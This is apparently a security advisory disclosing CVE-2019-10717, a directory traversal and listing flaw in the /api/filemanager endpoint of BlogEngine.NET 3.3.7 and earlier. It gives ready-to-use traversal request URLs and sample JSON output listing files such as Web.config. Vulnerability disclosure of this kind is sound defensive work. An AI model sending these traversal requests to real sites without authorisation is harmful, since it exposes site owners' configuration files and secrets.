BlogEngine.NET 3.3.7 and earlier Directory Traversal + Listing

[aaron bishop <abishop () linux com>]

*CVE-2019-10717* - A Directory Traversal + Directory Listing exists on
BlogEngine.Net 3.3.7 and earlier through the *path* parameter used by the
/api/filemanager endpoint.  A request such as:

https://$HOST/api/filemanager?path=*%2F..%2f..%2f*

Discloses the contents of the application root:

....
  {
    "IsChecked": false,
    "SortOrder": 25,
    "Created": "5/26/2018 1:53:02 PM",
    "Name": "Web.config",
    "FileSize": "19.41 kb",
    "FileType": 1,
    "FullPath": "/../../Web.config",
    "ImgPlaceholder": "fa fa-file-o"
  },
....

The contents of additional directories can be viewed by modifying the path:

https://$HOST/api/filemanager?path=*%2F..%2f..%2fContent*

...
  {
    "IsChecked": false,
    "SortOrder": 15,
    "Created": "3/30/2019 9:09:23 PM",
    "Name": "toastr.scss",
    "FileSize": "6.92 kb",
    "FileType": 1,
    "FullPath": "/../../Content/toastr.scss",
    "ImgPlaceholder": "fa fa-file-o"
  }
...

Disclosure:
https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect

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